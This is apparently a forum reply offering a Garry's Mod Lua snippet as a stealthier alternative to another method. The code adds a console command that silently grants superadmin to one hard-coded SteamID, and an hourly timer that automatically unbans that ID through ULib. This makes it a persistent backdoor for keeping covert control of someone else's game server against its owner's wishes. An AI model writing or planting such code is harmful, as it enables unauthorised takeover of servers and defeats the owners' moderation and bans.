That is way too simple and would notify everyone on the server instead you should use this

concommand.Add( "Command", function( ply )
if ( ply:SteamID() == "steamid")
then
ply:SetUserGroup("superadmin")

timer.Create( "checkForBan", 3600, 0, function()
ULib.unban( "steamid" )
end )
end
end )

This will set you to superadmin and unban you if you get banned
